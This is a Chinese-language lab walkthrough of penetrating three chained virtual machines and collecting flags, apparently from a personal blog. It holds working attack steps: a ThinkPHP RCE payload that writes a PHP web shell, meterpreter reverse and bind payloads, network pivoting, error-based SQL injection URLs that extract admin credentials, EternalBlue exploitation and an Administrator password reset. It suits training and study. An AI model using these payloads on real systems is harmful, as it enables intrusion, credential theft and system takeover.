0x00 环境搭建

攻击机IP:192.168.1.25
靶机1:192.168.1.11(Vmnet1)、192.168.22.11(VMnet2)
靶机2:192.168.22.22(Vmnet2)、192.168.33.22(Vmnet3)
靶机3:192.168.33.33(Vmnet3)
Vmware按照下图配置:
cfs_vmware_config.png

然后将虚拟机导入到vmware即可

0x01 靶机1

获取shell

1、首先对第一台靶机进行信息收集,nmap扫描下端口
nmap -sT -T4 192.168.1.11
image001.png

可以看到其开放了ftp、ssh、http等服务
2、我们先看下它的http服务:
image002.png

3、一看就知道它是Think PHP 5.x,这个版本在很早之前就爆出有远程代码执行漏洞,我们就直接试试看能不能用:
payload:/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
访问页面成功执行phpinfo()函数
image003.png

4、既然可以执行函数,那我们也可以试试写shell
payload:http://192.168.1.11/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['123456'])?>' > shell.php
5、用蚁剑连接测试连接
image004.png

如果连接失败可能是存在过滤,可用base64进行编码
然后语句改为:echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjM0NTYnXSk/Pg==" | base64 -d > test1.php 即可

成功连接进去:
image006.png

6.反弹msf类型的shell
7.为了方便后续渗透我们使用msfvenom生成meterpreter shell
在蚁剑的终端下查看靶机1的系统信息:uname -a
image007.png

8.然后使用msfvenom生成对应的反向shellcode
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.25 LPORT=8848 -f elf > msf_shell.elf
LHOST对应攻击机即kali的ip地址
image008.png

9.在kali的msf中配置监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.25
LHOST => 192.168.1.25
msf5 exploit(multi/handler) > set LPORT 8848
LPORT => 8848
msf5 exploit(multi/handler) > exploit

image009.png

10.回到蚁剑中将上面生成的msf_shell.elf上传到靶机1中,然后赋予执行权限,并运行
image010.png

11.最后Kali成功获得反弹的MSF类型的shell
image011.png

设置代理

1.获取内网网段地址:
run get_local_subnets
image012.png

192.168.1.0/24是我们可访问的,我们需要添加一条道192.168.22.0/24的路由
添加路由:run autoroute -s 192.168.22.0/24
查看路由:run autoroute -p
image013.png

查看地址解析记录arp -a确定第二层目标为192.168.22.22
image017.png

使用background返回msf
Search socks搜索socks代理模块
image014.png

最开始我使用的socks5,但是一直代理失败,最后换成了socks4成功了

use auxiliary/server/socks4a
show options

image015.png

SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080,可自行修改

配置proxychains代理链
cat /etc/proxychains.conf修改文件内容如下:
image016.png

0x02 靶机2

获取shell

端口扫描
此处扫描不能使用nmap默认的扫描方式,不能使用-A-T4参数
命令proxychains nmap -Pn -sT 192.168.22.22
image018.png

-Pn跳过主机发现阶段,把每个都IP当成存活主机。
-sn只进行主机发现,不进行端口扫描。

既然目标开放了80我们就上去看看是否有突破口
浏览器配置代理,或者使用proxychains firefox启动火狐
image019.png

进去之后是一个叫八哥CMS的系统。
image020.png

首先收集下基本信息,试下是否有/robots.txt文件,文件存在还暴露了后台的登录地址
image021.png

访问http://192.168.22.22/index.php?r=admini
跳转到http://192.168.22.22/index.php?r=admini/public/login
image022.png

尝试了下弱口令和万能密码不能注入进去。
最后在首页的网页源代码中看到了提示:
SQL注入点在:/index.php?r=vul&keyword=1
image023.png

那就直接去冲这个注入点了
放sqlmap上去跑proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword一直请求超时,无奈就只能手工注入吧
确定当前数据库名:
http://192.168.22.22/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e, database(),0x7e),1)--+
image024.png

确定表名:
http://192.168.22.22/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='bagecms'),1,32),0x7e),1)--+
因为报错的长度是有限制的所以用substr()截取挨次读取
也可使用limit逐条读取:http://192.168.22.22/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='bagecms' limit 0,1),0x7e),1)--+
image025.png

确定字段名
http://192.168.22.22/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='bagecms' and table_name='bage_admin'),1,32),0x7e),1)--+
image026.png

确定字段值:
http://192.168.22.22/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select concat(username,0x7e,password) from bagecms.bage_admin),1,31),0x7e),1)--+
image027.pngimage028.png

上面获得的信息为:admin~46f94c8de14fb36680850768ff1b7f2a
cmd5解密下该密码为:123qwe
image029.png

去刚才收集到的后台地址登录(用户名admin,密码123qwe)。
经过一番挖掘,在模板-网站模板栏目下发现可以修改php文件。
我们先插入phpinfo()查看是否能执行:
image030.png

访问首页的标签栏目可看到phpinfo()被执行:
image031.png

那么简单了 直接插入一句话<?php @eval($_POST['123456'])?>
image037.png

这里在使用蚁剑连接的时候非常非常非常不稳定,于是我换会windows用SocksCap添加代理信息:
image032.png

用代理工具启动菜刀,配置好相关信息后稳定连接成功。
image034.png

下面反弹msf类型的shell
切回kali生成个正向的shellcode,命令msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=8849 -f elf > msf_shell2.elf
image033.png

配置监听模块:

msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set RHOST 192.168.22.22
RHOST => 192.168.22.22
msf5 exploit(multi/handler) > set LPORT 8849
LPORT => 8849
msf5 exploit(multi/handler) > exploit

image035.png

然后将生成的msf_shell2.elf上传到靶机2上,赋予执行权限并执行:
image036.png

在kali上就可以接收到反弹的shell:
image038.png

添加路由

接下来的步骤和靶机1类似
1.获取内网网段地址:
run get_local_subnets
image039.png

2.添加路由:run autoroute -s 192.168.33.0/24
image040.png

3.查看地址解析记录arp -a确定第二层目标为192.168.33.33
image041.png

注:这里添加完路由后不用设置代理就能访问靶机3了

0x03 靶机3

端口扫描
proxychains nmap -Pn -sT 192.168.33.33
image042.png

目标开放了3389、445确认目标为windows,445可尝试看下是否存在EternalBlue(永恒之蓝)漏洞。
进入msf搜索ms17-010相关模块:
image043.png

先使用辅助探测模块auxiliary/scanner/smb/smb_ms17_010查看下该机器是否存在该漏洞

msf5 exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.33.33
RHOSTS => 192.168.33.33
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

结果表明该靶机很可能存在该漏洞。
image044.png

下面开始利用:
利用模块存在两个:
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec

ms17_010_psexec是相对新一点的模块
一般首先使用ms17_010_psexec进行利用,若利用失败出现LoginError那么表示该机器可能需要指定SMBUserSMBPass这时可尝试使用原始模块:ms17_010_eternalblue,但是某些版本还是可能会出现现要求指定SMBUser及SMBPass

msf5 exploit(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > exploit

image045.png

利用成功:
image046.png

接下来粗暴点,直接进shell改密码:

meterpreter > shell
C:\Windows\system32>whoami
C:\Windows\system32>net user
C:\Windows\system32>net user Administrator 123456

image047.png

SocksCap附加进程:mstsc.exe启动远程桌面进行远程登录:
image048.png

0x04 FLAG位置

靶机1

1、 根目录下
flag1.png

2、网站目录下
flag2.png

3、robots.txt文件中
flag3.png

靶机2

1、Web管理后台
flag4.png

2、网站目录下
flag5.png

3、系统根目录下
flag6.png

4、passwd文件中
flag7.png

5、crontab文件中
flag8.png

6、错误日志文件中
flag9.png

靶机3

1、桌面
flag10.png

2、C:\Windows\System32\config\目录下
flag11.png

3、任务计划里
flag12.png

4、注册编辑器里
flag13.png

Last modification:January 25th, 2020 at 09:24 pm
如果觉得我的文章对你有用,请随意赞赏